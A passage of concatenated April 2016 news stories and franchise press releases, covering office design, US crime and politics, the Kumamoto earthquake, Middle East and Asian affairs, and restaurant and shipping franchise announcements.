The design of the Urban Outfitters Corporate office space beautifully reflects the rough-hewn feel and aesthetic of the three brands, with salvaged timber made into stairways and artfully rusted steel beams, integrating both the old -- like workspace tables fashioned out of old sewing machines -- and new -- such as fabric swatches and clothing mock ups. The old navy shipyard space also offers enormous collaborative spaces for different departments to meet together.

Some additional perks include a cafeteria, coffee shop, library, fitness center and outdoor courtyard.

Related: Surprising Ways to Create an Inspiring Workspace

3. When a company has a shoestring budget and has to get really creative

Courtesy of Clive Wilkinson | Photographer: Benny Chan - Fotoworks

Company: Pallotta Teamworks

Location: Los Angeles, California

Architect: Clive Wilkinson

Palotta Teamworks is a nonprofit built around high fundraising goals and multi-day events, such as the AIDSRides. When the company outgrew its old space, the Clive Wilkinson architect firm was brought in to redesign a 47,000-foot warehouse for Palotta's new offices.

With a tight budget, there wasnt enough money for uniform heating and air conditioning. However, the constraints gave rise to innovation. For building materials, lumber and shipping containers were used, and to get around the air-conditioning dilemma, air-conditioned tents were built, where employees could congregate when needed.

4. When an office space encourages play

Kontor

Company: Google

Location: All over

Architect: Many

Google has offices all over the world -- from New York to Mountain View, Calif. to Zurich -- and many of the offices have slides. All kinds: Enclosed tubes, twisty ones, short slides and long.

Clearly encouraging play and imagination is part of the management style and culture.

Some more play features in Google offices?

The Venice Beach, Calif. location has a rock climbing wall. The New York City office has razor scooters for employees to ride around on. Torontos office has a rooftop putting green and a DJ room with turntables and black lights. Zurich has unique egg-shaped isolation pods for privacy and a workspace that resembles an underground batcave.

5. When an office space integrates the outdoors inside and uses local elements

Kontor

Company: Facebook

Location: Tel Aviv, Israel

Architect: Setter Architects

With the acquisition of Onavo, a mobile analytics company that makes apps, Facebook opened an office in Tel Aviv in 2013 and moved into a new 32,000-square-foot office space two years later. Along with being spacious, its layout is pure Facebook, with its signature scribble wall (which is at every Facebook office) and the space is extremely open -- with very few opaque walls -- enabling transparency and collaboration.

The openness is something its CEO, Mark Zuckerberg, spoke about as an important part of Facebook culture back in 2015 when he showed off the new Facebook headquarters in Menlo Park, Calif.

Tel Avivs office is a thoughtful and sprawling four-story layout geared toward employee comfort, which includes local elements and materials, such as its window shutters from the Middle Ages that were reconfigured into an island centerpiece for the extremely well-stocked kitchen. Some additional touches are vintage solar water heaters and gas tanks transformed into planters. Along the four-story stairwell is a colorful graphic art installation by well-known Israeli artist FALUJA.

The best part of these offices, however, is how the outdoors are brought inside with a striking wall comprised of green leaves.

Related: 10 Ways to Build a Creative Company Culture

6. When an office looks like your dream apartment

Kontor

Company: Airbnb

Location: San Francisco

Architect: Gensler; Interior Design Fair

The roomy 72,000-square-foot Airbnb offices in San Francisco blur workspace and home, featuring a kitchen, library, what is internally referred to as a nerd cave and nap room, according to Metropolis.

The offices embody the sharing economy way of thinking, with very little fixed seating so spaces are shared and employees are free to roam the offices that are designed to resemble actual Airbnb listings. A fact that got the company into some hot water when a French designer spotted her apartment duplicated right down to the wallpaper -- and a photograph of her grandmother -- in the new Airbnb offices. She sued the company for copyright infringement.
Authorities say the latest suspected illegal marijuana grow in Pueblo County was discovered after its heavy power use started a grass fire.

The sheriff's office says the grow at a home in Pueblo West, which was raided Wednesday, is to blame for starting a 2-acre fire on April 14. Investigators found that a transformer blew because the home was drawing about five times the normal amount of electricity for an average single-family home. They say the home's garage was set up with a commercial heating and ventilation system along with extensive lighting and irrigation systems.

This is the tenth suspected illegal grow discovered in the county in three weeks.

The sheriff's office says the man living in the home is also suspected of having an illegal grow in Denver.
DEVELOPING: One or more shooters are believed to be on the loose, "armed and dangerous," after a brutal string of shootings in four homes killed a total of eight family members in southern Ohio Friday, investigators said.

The eight relatives -- seven adults and a 16-year-old boy -- were apparently shot in the head "execution-style," Ohio Attorney General Mike DeWine told reporters.

At least three young children survived. One was 4 days old, one was 6 months old, and the third was 3 years old, Pike County Sheriff Charles Reader said. The youngest baby was found in bed next to the child's dead mother.

DeWine said the family's last name was Rhoden, but did not give first names. "If I was a member of that family, I would be extra cautious right now," the attorney general added.

Reader later told a late night news conference he had spoken with the family and gave them "precautionary measures to take."

Asked if he had a message for the killer or killers, Reader replied, "we're coming."

#FBI Cincinnati is closely monitoring the situation in Pike County and has offered assistance to the Pike County Sheriff's Office. #BREAKING  FBI Cincinnati (@FBICincinnati) April 22, 2016

Investigators said it was possible more than one shooter attacked the family because the homes were spread out roughly a mile and a half apart. Three of the four homes were on the same street in Piketon.

One relative discovered the horrifying scenes as she came to the homes to feed dogs and chickens, part of her morning routine, a family member told the Cincinnati Enquirer.

Ohio Gov. John Kasich called the reports "tragic beyond comprehension."

The attorney general said a motive was unclear, and that investigators would remain at the homes "for some time," likely into Saturday morning.

The family members who died had attended nearby Union Hill Church for years, according to Pastor Phil Fulton. "They kind of dropped by the wayside probably three, four years ago, maybe... The kids seemed friendly, always you know, just good kids, seemed like," the pastor told WKRC.

Ohio's Bureau of Criminal Investigation sent more than a dozen agents to the scene, officials told Fox 28.

The FBI in Cincinnati confirmed it offered help to the Pike County Sheriff's Office. Adams County Ohio Valley Schools briefly went on lockdown, Fox 19 in Cincinnati adds.

The bureau sent crime scene investigators, special investigators, criminal intelligence agents and cyber crime investigators.

Police closed off roads around the homes as paramedics rushed to the area. Piketon is in the Appalachian region of Ohio, roughly 75 miles east of Cincinnati and 70 miles south of Columbus.

Click for more from Fox 28.

Click for more from Fox 19.
Denmark presented a U.S. Army intelligence officer working in Iraq with a prestigious medal for helping to foil a terrorist plot to blow up a Jewish school in the Nordic country.

Capt. Bradley Grimms assistance likely saved the lives of Danish citizens, according to an Army spokesman in Baghdad.

Col. Steven Warren said Wednesday that Grimm provided actionable intelligence about a bomb threat against a school in Denmark.

The information he provided helped to foil the plot and resulted in an arrest and the confiscation of explosives, Warren said, according to the Copenhagen Post.

Grimm was presented recently with the Danish Defense Medal for Special Meritorious Effort in Copenhagen, according to the newspaper. U.S. Ambassador to Denmark Rufus Gifford attended the ceremony.

The captain uncovered the school bomb plot from documents taken from captured enemy foreign fighters in Iraq who were from Denmark or who had relatives in Denmark, Warren said at a press briefing Wednesday.

The Post reported that Grimms intelligence led to the arrest of a 15-year-old girl in January.

She has been charged with acquiring chemicals and attempting to produce explosives for attacks on schools in Copenhagen and Farevejle, according to the newspaper.

A 24-year-old Syrian fighter has been charged as an accomplice, the Post reported.
An apparently uninjured baby was miraculously pulled out from underneath the rubble of a collapsed home in Japan early Friday as more than 100 aftershocks from Thursday night's magnitude-6.5 earthquake continued to rattle the region.

Footage broadcast on Japanese television showed the baby wrapped in a blanket and being carried out from the debris.

The quake, which left 9 people dead and around 800 injured, struck the city of Kumamoto on the island of Kyushu, southwest of Tokyo.

A still shocked resident from a town in southern Japan recounted his terror the previous night as he examined the damage Friday.

"It's as if all control was lost, I thought I was going to die and I couldn't bear it any longer," said Yuichiro Yoshikado, who was taking a bath in his apartment in the hardest-hit town of Mashiki, which lies on Kumamoto's eastern border, about 9 miles from the city's center.

"I grabbed onto the sides of the bathtub, but the water in the tub, it was about 70 percent filled with water, was going like this," he said waving his arms, "and all the water splashed out."

Rescue workers on Friday combed through wreckage to make sure there were no more trapped people, said Shotaro Sakamoto, a Kumamoto prefecture official. Concern about aftershocks was keeping many people from starting the huge task of cleaning up, police said.

Yoshikado, whose building was undamaged despite the intense shaking, was checking the damage at his aunt and uncle's home nearby.

Kitchenware was scatted on the floor, and a clock had stopped around 9:26 p.m., the time of the earthquake. Power and water have yet to be restored, and many in the neighborhood have yet to return because of the aftershocks.

"Everyone in Kumamoto is still in a panic," Yoshikado said. "We see in the news phrases like 'Major earthquake in Kumamoto,' or 'The Kumamoto Quake,' but it just doesn't seem real. It feels like something that would happen somewhere else."

About 44,000 people stayed in shelters overnight, and Sakamoto said it was difficult to predict how many would return Friday night.

The dead included five women and four men, the Fire and Disaster Management Agency said. One man was in his 20s, and the rest of the victims ranged from their 50s to one woman in her 90s. Eight of the nine victims were from Mashiki.

There were varying reports on the number of injured. The government's chief spokesman, Yoshihide Suga, said at least 860 people had been injured, 53 seriously. Kumamoto prefecture tallied 784 injured.

Suga said 1,600 soldiers had joined the relief and rescue efforts. TV reports showed troops delivering blankets and adult diapers to those in shelters.

With water service cut off in some areas, residents were hauling water from local offices to their homes to flush toilets.

Suga said there were no abnormalities at nearby nuclear facilities. The epicenter was 74 miles northeast of Kyushu Electric Power Co.'s Sendai nuclear plant, the only one operating in the country.

Most of Japan's nuclear reactors remain offline following the meltdowns at the Tokyo Electric Power Co.'s Fukushima plant in 2011 after a magnitude 9.0 earthquake triggered a huge tsunami.

According to the Japan Meteorological Agency, Mashiki sits near two faults on Kyushu. The area is also near Mount Aso, a huge, active volcano. JMA officials said the quake was unusually strong for Kyushu.

The Associated Press contributed to this report.
Chad's electoral commission says President Idriss Deby has won a fifth term as president, defeating more than a dozen challengers.

Provisional results announced late Thursday give Deby, in power since 1990, 61.5 percent of the April 10 vote. The results need to be ratified by the Constitutional Council.

The announcement came one day after a visit by Samantha Power, U.S. envoy to the United Nations, and top U.S. military officials that highlighted Chad's key role in the fight against Islamic militants in Africa.

The land-locked, impoverished nation is the base for France's military operations in Africa as well as a regional force intended to wipe out the Nigeria-based group Boko Haram.

The opposition withdrew from the electoral commission this week, citing credibility concerns.
A top European Union official pressured the U.S. Thursday to accept more Syrian refugees feeling the civil war, saying that asylum seekers should not be likened to Muslim extremists.

Stavros Lambrinidis, the agencys special representative for human rights, said that taking more migrants would help ease the pressure on Europe, which is struggling to bring in the massive amount of refugees that are waiting at the borders of several European countries.

"To the extent that we can all understand this global issue and share the responsibility, this will clearly alleviate the pressure on Europe right now and Greece in particular," Lambrinidis said at the Center for Strategic and International Studies.

"To our knowledge, there is absolutely no evidence in the case of the US, that giving asylum to people is opening the door to terrorists."

The White House announced last year that the number invited to move to the U.S. as refugees will be increased to 85,000 in 2016, including 10,000 Syrians. The U.S. accepts 70,000 refugees annually from around the world.

Lambrinidis called the anti-refugee rhetoric in the U.S. and Europe is alarming and undermines the Wests international obligations.

Europe has seen a rise of far-right parties fueled by the refugee crisis and terrorist attacks in European capitals. In the U.S., Republican presidential front-runner Donald Trump has called for temporarily barring Muslims from entering the country and refusing entry to Syrian refugees.

New Jersey Gov. Chris Christie echoed Trumps plans announcing earlier this month the state will not participate in the refugee resettlement program, NJ.com reported.

It was the FBI director, in testimony before Congress, who said the federal government does not have the background information necessary to effectively conduct proper security checks for these resettlement efforts," a Christie spokesman said. "The governor notified the President in November that our Department of Human Services will discontinue participation in the program, and this formalizes that decision."

Christie is one of several Republican governors who dont want to admit refugees in their states, including migrant toddlers.

"The easy rhetoric, the populist rhetoric that we have in Europe or that you have here, that asylum means opening the door to terrorism is something that we have to nip in the bud in my view," Lambrinidis said. "It's extremely dangerous and it also endangers our obligation ... under international law."

The Associated Press contributed to this report.
Russia wants the United States to play nice.

Former Soviet leader Mikhail Gorbachev, a supporter of President Vladimir Putins foreign policy, is urging the U.S. to adopt a constructive approach to ease tensions between the ex-Cold War rivals, The Telegraph reported Thursday. Still, he also insisted that the West recognize Russia will never accept a "second tier role in the world."

Gorbachev, now 85, wrote in a government newspaper that Putin didnt badmouth America during his annual call in show on April 14, but instead praised Obama as a decent man.

"Can our partners reset themselves to a more constructive wavelength? Gorbachev asked. That's unclear so far but I urge them to do so.

Gorbachev said Russia and the U.S. are already cooperating in Syria and that has led to some relaxing of tensions. Still, a U.S. official has told Fox News Putin ignored Obama's recent call to respect a ceasefire, moving Russian troops to wartorn Aleppo ahead of a potential invasion.

For years, Russia has sided with Syrian president Bashar al-Assad over the rebels, which has stoked tensions with the U.S.

Gorbachev also urged President Barack Obama to meet with Putin over the Ukraine crisis. U.S. officials have accused Russia of violating Ukraine's sovereignty by invading the Crimean Peninsula and sending troops there.

Click for more from The Telegraph.
Cheese-chomping despot Kim Jong Un held a Master Chef-style competition to find North Koreas top cooks as millions across the nation starve.

The Emmental-obsessed dictator gave the show, which was broadcast on state TV, the green light despite an estimated two-thirds of the countrys 27 million people surviving on food rations.

The Commie connoisseur developed a love of European cheeses and fine wines when he went to school in Switzerland.

But the tubby tyrant was served decidedly different fare during the contest as competitors served up terrapin stew and grey mullet fish soup.

More than 1,000 people entered the competition, with the Pyongyang Times reporting: The festival was comprised of the exhibitions of gastrological [sic] hits, famous and local special dishes and compulsory dishes and the technical contest and demonstration of top chefs and waiters and waitresses.

The participants presented famous local and foreign dishes and specialties of their units and local areas.

The TV menu did include some European dining options including pizza and spaghetti as well as a five-pheasant dish and broccoli five ways.

The obese Kim, 33, reportedly has had health problems as a result of his portly frame, with reports suggesting he may be suffering from gout as he now walks with a limp.

Defectors from the Communist country believe he is fattening himself up to look like his grandfather, Eternal President Kim Il-sung, who is still the reclusive countys head of state despite having been dead since 1994.

Amnesty International says recent reductions in state handouts have severely threatened the majority of the starving nations chances of getting enough food.

Click for more from The Sun.
A Christian woman's fateful and defiant stance in front of a bulldozer last week evoked the memory of Tiananmen Square and has become a rallying cry against persecution at the hands of the Beijing government.

The woman, identified by Christian activists as Ding Cuimei, wife of the Rev. Li Jiangong, was trying to stop the government-ordered demolition of Beitou Church in the central Hena province city of Zhumadian. Unlike the iconic man who brazenly stopped a tank in the 1989 uprising, Ding was pushed into a ditch and buried alive as horrified congregants watched helplessly.

Bury them alive for me, a member of the demolition team said according to a report by China Aid, a nonprofit focused on human rights and religious freedom in the worlds most populous country. I will be responsible for their lives.

The government wants to contain the growth of Christianity.  Bob Fu, China Aid

The grim incident underscores the Chinese governments increasing persecution of religious minorities, say advocates. Thousands of churches across the country have been demolished in the past year, and dozens of pastors have been arrested on trumped up corruption charges, according to nonprofit groups that monitor the situation.

There was a time where they [Christians] were being recognized as productive members of society. The government treated them fairly, David Curry, president and CEO of Christian advocacy group Open Doors USA told FoxNews.com. But that has changed. China has the goal of nationalizing Christians.

A little more than 5 percent of China's 1.4 billion people are believed to be Christians.

Curry said the Chinese government appears determined to lower the profile of the church. The effort takes varied forms, from rezoning church properties to allow for demolition, as in the case of the April 14 incident in which Ding was killed, to forcing pastors to meet weekly with local officials to explain their sermons, said Curry.

It has had a chilling effect on religious freedom in China, Curry said.

Two demolition workers were arrested in the death of Ding. Her husband, who was also pushed into the ditch but managed to crawl out, has allegedly been warned not to discuss the case.

The incident underscores the serious violations against religious freedom in China that have occurred since President Xi Jinping took office in 2013, said Bob Fu, president and founder of China Aid.

He has taken a strong ideological turn to create a new cultural revolution, Fu said. He [Xi] has really turned against the independent churches and any independent social movements. The government wants to contain the growth of Christianity.

More than 2,000 churches in southern China have been forced to remove crosses from their exteriors in the last year alone, according to Fu. Most had operated freely and with government permission for decades, he said.

Fu estimated that more than 500 activists and lawyers have been detained in the last year, with many still imprisoned.

There is some resistance, but it is mostly passive, he said. There is not much the people can do in terms of going against the government.
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Myanmar's de facto leader, Aung San Suu Kyi, has made clear to foreign diplomats: It doesn't matter if they call her country Myanmar, or its old name, Burma.

Suu Kyi gave her position Friday in a speech to the foreign diplomatic corps. She is the government's de facto leader in the specially created post of state counsellor, but concurrently is foreign minister.

Democracy supporters in Burma balked when the then-ruling military in 1989 renamed the country Myanmar. The military in turn was irritated when activists and their supporters abroad  including many Western governments  insisted on sticking with the old name.

Suu Kyi told the diplomats it was up to them what name to use because the constitution doesn't mandate either name.
Russia fought back Friday against reports that one of its aircraft intercepted an Israeli plane near the Syrian border in recent days.

Kremlin spokesman Dmitri Peskov said the reports in Israeli media were inaccurate and said Israeli Prime Minister Benjamin Netanyahu and Russian President Vladimir Putin did not discuss the charge during their meeting Thursday in Moscow, The Times of Israel reported.

I do not want to comment on Israeli media, Peskov said Friday. The reports of the Israeli media outlets are far from reality in this case.

There were conflicting reports Thursday about the incident. The YNet news website reported that a single Russian jet was scrambled to meet an Israeli military plane along its northern border with Syria. Channel 2 claimed Russian and Israeli fighter squadrons nearly confronted each other along Syrias coastline.

Netanyahu called the meeting with Putin Thursday, which focused on coordination between the two militaries along Syrias border, very successful, The Times of Israel reported.

Click for more from The Times of Israel.
Residents of the southern Israeli town of Sderot near the Gaza border are increasingly angry at what they see as their governments failure to protect them from the threat of terror over their heads and under their feet.

The destruction of a newly discovered Hamas terror tunnel leading out of the Gaza Strip earlier this week fueled fears that another cross-border war is growing ever closer. And rockets fired into Israel from the Palestinian enclave, while far more sporadic, have never ceased, say weary Israelis.

"Every generation has its challenges," Miki Zohar, spokesman for Prime Minister Benjamin Netanyahu's governing Likud party, said at a recent meeting over security concerns in the southern town covered by the Times of Israel.

"Is that all you have to say?" fired back a local official who earlier had lamented the fact that no senior government member had attended, in contrast to senior politicians from the opposition parties who were present and spoke out.

"I see them riding on donkeys and not in cars. But on the other hand, I see a huge investment in building tunnels, in rockets, et cetera."  Israel Defense Forces officer

Zohar touted the discovery of the tunnel  using new technology  as evidence the Netanyahu administration is on the case. But residents of the border communities heckled him, arguing they have been left exposed to potential terror attacks by the government's lack of substantive action in the aftermath of the summer 2014 conflict, after which it was promised that all means would be immediately employed to protect them.

On Thursday, FoxNews.com visited the military base at Nahal Oz, which abuts Hamas-controlled Gaza and is close to the scene of a vicious firefight when Hamas terrorists emerged from a tunnel during the 2014 war and killed five Israeli soldiers guarding the adjacent kibbutz.

The seven-week battle that began in July, 2014, when Israel mounted Operation Protective Edge to destroy tunnels and stop rocket fire, claimed more than 2,000 Palestinian lives, (up to 1,000 of them terrorists, according to latest estimates), and 73 Israeli lives, 66 of them soldiers. Recently, Israel has been grappling with a six-month long uprising where Palestinians have mounted terror attacks using knives, cars and bombs, mainly in Jerusalem and the West Bank.

"The quiet here isn't a genuine quiet. It's a kind of phony quiet," a senior Israel Defense Forces officer said. "On the other side of the fence, we can see a great deal of activity in preparation for the next war. We have no doubt they are preparing for another conflict. They are keeping a very close on eye on what we are doing. They are maximizing their efforts in an attempt to surprise us at some point."

Looking out from a fortified bunker straight over the border fence and into Gazan territory earlier this week,, a Hamas flag could clearly be seen waving. Trucks were clearing rubble from nearby Shejaiya, scene of the most intense fighting of 2014 and reportedly the hub of what had then been a far more extensive network of tunnels than Israeli intelligence had anticipated.

The officer had no doubt that new construction of tunnels continued, likely aided by materials Israel has allowed into Gaza for humanitarian civilian projects.

"I see poverty on the other side," he said. "At night, I see there is no electricity. I see them riding on donkeys and not in cars. But on the other hand, I see a huge investment in building tunnels, in rockets, et cetera. You can see there is money, but it's not going to the right places."

Hamas' reach goes beyond the Gaza Strip, as highlighted by word that Monday's bombing of a bus in Jerusalem was allegedly carried out by a Hamas cell. Critics charge that international funds supposedly destined for the reconstruction of the Gaza Strip in the aftermath of the last war have been diverted and are used for building tunnels, buying weapons, and training a new generation of terrorists. They cite rampant corruption and the brutal silencing of dissenting voices, and are highly skeptical that even a modest amount of the international donations actually reach the average Gazan.

A damning World Bank report, published April 14, highlighted the fact that while many European countries and the U.S. have sent aid to Gaza, regional Arab states, seemingly far more wary about the ultimate destiny and use of the funds, have generally failed to honor their commitments to their Arab brethren.

Arab states promised billions to help Gaza rebuild following the 2014 fighting. Yet Kuwait has delivered none of the $200 million it promised, Qatar has sent only 15 percent of the $1 billion it pledged, Saudi Arabia has given just a tenth of the $500 million it promised, the United Arab Emirates have given just 15 percent of the $200 million it agreed to send, and even Turkey, for long Hamas' most vocal international supporter, has sent just a third of the $200 million it pledged.

In contrast, the U.S. delivered every cent of the $277 million it promised to Gaza.

"[Hamas] is trying to develop capabilities in just about every sphere," the IDF officer noted. "By sea, by air, with drones, all sorts of things, all the time, as well as the capability to carry out suicide bombings here [at the border], something we haven't seen before. They are preparing, and they have a lot of fighters."

Aside from touting the tunnel-detecting technology, Israel has been tight-lipped when pressed for specifics on preparations being taken by Israel. Its a contrast to recent years, when the Iron Dome anti-missile system and its capabilities were routinely touted both to assure citizens and to deter rocket attacks.

"I imagine that a strategic decision may have been taken to speak less about what we are doing so that the enemy doesn't know what's going on, the officer told FoxNews.com. What I can say is that we are extremely busy, but we prefer to talk less and get on with our work. What we are doing now is completely different to anything we did in the past, including in the last conflict. I can't say more than that."

Few in Israel or Gaza seem to question if there will be another war.

The resistance will startle the enemy with more than the surprises it had during the last war, Hamas representative Salah Bardaweel told the Jerusalem Post in February.

Israel too, it seems, having apparently learned from previous experience, is now reluctant to say very much about what lies in store in the next round of fighting, but the senior officer did eventually drop a veiled hint.

"The biggest achievement will be made at the beginning," he said. "The longer it goes on, the less likely it is to achieve its goals."

Paul Alster is an Israel-based journalist. Follow him on Twitter @paul_alster and visit his website: www.paulalster.com
The British government is advising lesbian, gay, bisexual and transgender citizens to pay special attention when traveling to North Carolina and Mississippi.

The travel advice update was posted on the British government's website Tuesday.

The British advisory says new laws in North Carolina and Mississippi may affect LGBT travelers and directs those seeking more detail to the Human Rights Campaign, the nation's largest LGBT civil rights organization. The advisory adds that attitudes toward LGBT people differ widely across the United States.

North Carolina last month adopted a law that limits LGBT protections and requires transgender people to use bathrooms corresponding to their sex at birth. Mississippi's law allows merchants with religious objections to deny service to customers.
Annex Brands Grows 82% In One Day With Acquisition Of Pak Mail Shipping Brand

April 22, 2016 // Franchising.com // SAN DIEGO, CA - San Diego-based Annex Brands, Inc. announced the acquisition of Pak Mail Centers of America, Inc., franchisor of over 370 Pak Mail  packaging and shipping franchises across the world.

With this addition, Annex Brands now counts more than 820 franchises located in 43 states, the District of Columbia, Canada, Mexico, and Japan. The companys existing brands include PostalAnnex+, Navis Pack & Ship, AIM Mail Center, Handle With Care Packaging Store, Parcel Plus, Sunshine Pack & Ship, and Annex Copy Center.

This is a monumental acquisition for us, one weve been looking forward to for quite a while, said Jack Lentz, founder, chairman, and CEO of Annex Brands. We are very excited to be adding this long-standing, successful brand in the pack and ship industry,

This is the sixth acquisition for Annex Brands since 2006. Lentz commented the companys growth strategy continues to be a two-pronged approach: sales of new franchises as well as acquisitions. Each time weve completed an acquisition, weve found the acquired brand brings something new to the existing brands, and vice versa. Its even more so with Pak Mail because of its size.

Annex Brands president and CFO Patrick Edd said many of the Pak Mail franchisees not only ship parcels via UPS, FedEx, DHL, and the USPS, but also have significant experience in shipping freight as well, a good fit for Annex Brands support system which serves that market with over 80 commercial locations. Effectively, this acquisition makes Annex Brands, the largest multi-carrier packaging and shipping organization in North America, if not the world. Edd said. He commented the acquisition fits the companys vision to build a franchise network that offers more service to more people in more places.

Steve Goble, Annex Brands vice president of marketing communications added, The acquisition of Pak Mail  ramps up the economies of scale and provides significant, additional resources for all our franchisees. It also increases the reach and access for all our customers and carrier partners.

Alex Zai, former CEO of PMCA, will continue with Annex Brands in a new role. Bringing these two companies together creates great synergies for both organizations, said Zai. As the companies continue to expand on their core business functions of packaging and shipping, the resources and tools they combine will be a great asset for the franchisees of both groups.

Pak Mails franchisees will gain from additional support, greater opportunities, added resources, and expanded access to experienced team members in the industry. Annex Brands franchisees will have new sources of experienced shipping, freight, and international services via Pak Mails franchisees. The increased territory coverage created by both organizations will allow the companies and their franchisees to increase market share and provide increased service to their communities.

Both Annex Brands, Inc. and Pak Mail Centers of America, Inc. are privately owned. No purchase price was disclosed.

About Annex Brands

Annex Brands, Inc., was formerly known as Postal Annex, Inc., founded by Jack and Marty Lentz in 1985 and headquartered in San Diego. After the acquisition of the Handle With Care Packaging Store brand in 2007, the company changed its name to Annex Brands, Inc. to more closely reflect its multi-branded service in the packing, crating, shipping, and business services industry. Each location is an individually owned and operated franchise. Its retail stores offer a one-stop support center for packaging, shipping, postal and office supply needs, including the ability to compare shipping rates with UPS, FedEx, DHL, and USPS shipping. The commercial locations provide custom packaging and shipping solutions for larger, more fragile and valuable items. For more information on the companys history, services and franchise information, visit www.AnnexBrands.com .

About Pak Mail Centers of America, Inc.

For over 30 years, Pak Mail has provided shipping, crating and freight services for both commercial and residential customers. With more than 370 stores worldwide, Pak Mail is a one-stop source for domestic, international and freight shipping, including services for furniture, art, and antiques. Pak Mail partners with FedEx, UPS, DHL, The U.S. Postal Service and other trusted freight carriers for worry-free delivery. Pak Mail finds the most cost-effective and safest ways to pack and ship items worldwide by air, ocean, or ground. For further information, please visit http://www.pakmail.com.

SOURCE Annex Brands

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Craftworks Restaurants & Breweries Names Mark Belanger Vice President Of Global Franchise Operations And Development

Industry Veteran Joins Leading Restaurant Operators Executive Team To Lead Nationwide Expansion

April 22, 2016 // Franchising.com // BROOMFIELD, Co.  CraftWorks Restaurants & Breweries, Inc., the largest craft brewery restaurant operator in the country, announced today Mark Belanger has joined its executive team as vice president of global franchise operations and development. In his new role, Belanger will be responsible for leading the national franchise growth efforts for casual dining leader Old Chicago Pizza & Taproom, as well as growing the presence of the companys other brands  Gordon Biersch Brewery Restaurants, Rock Bottom Restaurants & Breweries and ChopHouse & Brewery  nationwide. He will also oversee day-to-day franchisee and license development domestically and abroad.

Following a very successful year, its time to aggressively expand our brands visibility nationwide, specifically Old Chicagos growth within the franchise space, said Srinivas Kumar, Chief Executive Officer of CraftWorks Restaurants & Breweries. With Marks vast experience in franchising and ability to cultivate strong, long-lasting partnerships, we are confident that he will carry out our franchise expansion goals for Old Chicago, and growth for our key brands.

While his efforts will span across CraftWorks primary brands, Belanger will be leveraging his expertise to specifically accelerate Old Chicago Pizza & Taprooms momentum in 2016, following a year of unprecedented growth. He will lead the companys development strategy, which focuses on catapulting Old Chicagos presence even further by growing the brand in existing markets and identifying new markets to target for franchise expansion.

An industry veteran with nearly three decades of experience in the franchise, foodservice and retail space, Belanger most recently served as chief executive officer of ProFab Holdings, Inc. and president/managing principal of MAB Consulting Group, where he and his team provided franchisees with effective ways to save time and money when opening new locations. Prior to consulting, Belanger held various positions at several leading brands including vice president of El Pollo Loco Holdings, Inc., director of business development for Service Master Brands, Inc. and vice president of Barnes & Noble, Inc.

The rate at which the CraftWorks brands are expanding is truly impressive, and theres tremendous opportunity to keep the momentum going, said Belanger. "With a focus on further developing Old Chicagos franchise presence in key markets, I look forward to creating partnerships with a new generation of franchisees and fostering the existing relationships in our system.

Old Chicago experienced record-breaking success in 2015, achieving $254 million in system-wide revenue and 20 consecutive months of positive comp sales, and launching its new restaurant prototype  a 5,000 square feet build with an additional 1,000  1,200 square feet of outdoor patio space. To fuel franchise growth, the company is seeking multi-unit operators with business, management and foodservice and/or restaurant experience, and a passion for and commitment to exceptional customer service.

About Old Chicago

Old Chicago Pizza & Taproom (Old Chicago) is a traditional, casual dining restaurant specializing in Chicago-style pizzas, taproom classics and craft beer. Founded in 1976, Old Chicago operates in 24 states with more than 100 restaurants. With over 30 craft beers on tap, Old Chicago is also the home of the World Beer Tour, which rewards members for enjoying 110 of the best craft beers from across the globe. Visit www.oldchicago.com to learn more and to find the restaurant nearest you. For information about franchise opportunities, visit www.ocfranchising.com.

About CraftWorks

CraftWorks Restaurants & Breweries, Inc. is the largest craft brewery restaurant operator in the country with nearly 200 franchised and company-owned restaurants primarily operating under the Old Chicago Pizza & Taproom, Gordon Biersch Brewery Restaurants and Rock Bottom Restaurants & Breweries brands. As a leader in the craft beer focused casual dining segment, CraftWorks also operates strong regional brands, and employs more than 12,000 people throughout the U.S. All of CraftWorks restaurant brands have innovative menus with made-from-scratch food and a vast selection of unique craft beer, as well as unbeatable service and loyalty programs with over a million active members. Based in Broomfield, Colo., CraftWorks is not only committed to serving its loyal guests, but also the communities in which its restaurants operate. The CraftWorks Foundation has contributed millions of dollars, positively impacting communities throughout the country. For additional information about CraftWorks, the Foundation, and its restaurant brands, please visit www.craftworksrestaurants.com.

SOURCE CraftWorks

Media Contact:

Andie Biederman

Account Manager

Fish Consulting, LLC

O: (954) 893-9150

C: (954) 253-5051

abiederman@fish-consulting.com

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Dickeys Barbecue Pit Announces 12-Store Development Agreement in California

Owner/Operator Michael Tucker owns La Quinta location, and will expand into Northern San Diego County

April 22, 2016 // Franchising.com // San Diego, CA - Dickeys Barbecue Pit has recently signed a 12-store development agreement with Owner/Operator Michael Tucker. Already the owner of the La Quinta Dickeys location, Tuckers agreement originally contained four stores, which are slated to open in Indio, Moreno Valley and Redlands. The new agreement adds eight stores to the existing four-store deal. Tucker has extended the agreement with the barbecue brand to encompass the northern part of San Diego County, starting in Mira Mesa and extending north. He will also open a new location as far south as National City.

Dickeys Barbecue Pit now has more than 100 stores in California and is rapidly expanding in The Golden State. The new stores will all be opened using Dickeys new store model, complete with sustainable elements such as reclaimed wood throughout the dining room and Dickeys proprietary blend of wood pellets to be used in the smoker.

An award-winning entrepreneur, Michael Tucker also owns several franchises with Dallas-based convenience store 7-Eleven which have been in operation for the last four years. The community in La Quinta has wholeheartedly embraced us, and so many people who came during our grand opening have become loyal guests who stop in several times per week, Tucker says. We are delighted to serve our community delicious barbecue and look forward to expanding into San Diego County.

Dickeys has grown rapidly along the West Coast, and we are proud to have dedicated Owner/Operators such as Michael Tucker who further our brand every day, says Roland Dickey, Jr., CEO of Dickeys Barbecue Restaurants, Inc. The Dickey family congratulates Michael on his development agreement and we look forward to celebrating many grand openings in the future.

To learn more about franchising with Dickeys, visit www.dickeys.com/franchise or call 866-340-6188.

To find the Dickeys Barbecue Pit nearest you, click here. Find Dickeys on Twitter, Facebook and Instagram.

About Dickeys Barbecue Restaurants, Inc.

Dickeys Barbecue Restaurants, Inc., the nations largest barbecue chain was founded in 1941 by Travis Dickey with the goal of authentic slow smoked barbecue. Today, all meats are still slow smoked on-site in each restaurant living up to the company tagline, We Speak Barbecue. The Dallas-based family-run barbecue franchise offers a quality selection of signature meats, home style sides, tangy barbecue sauce and free kids meals every Sunday. The fast-casual concept has expanded to over 530 locations in 43 states. Dickeys was recognized for the third year by Nations Restaurant News as a Top 10 Growth Chain and by Technomic as the Fastest-growing restaurant chain in the country. For more information, visit www.dickeys.com or for barbecue franchise opportunities call 866.340.6188.

SOURCE Dickeys Barbecue Restaurants, Inc.

Media Contact:

Michelle George

Public Relations Specialist

Dickey's Barbecue Restaurants, Inc.

(972) 248-9899 ext. 235

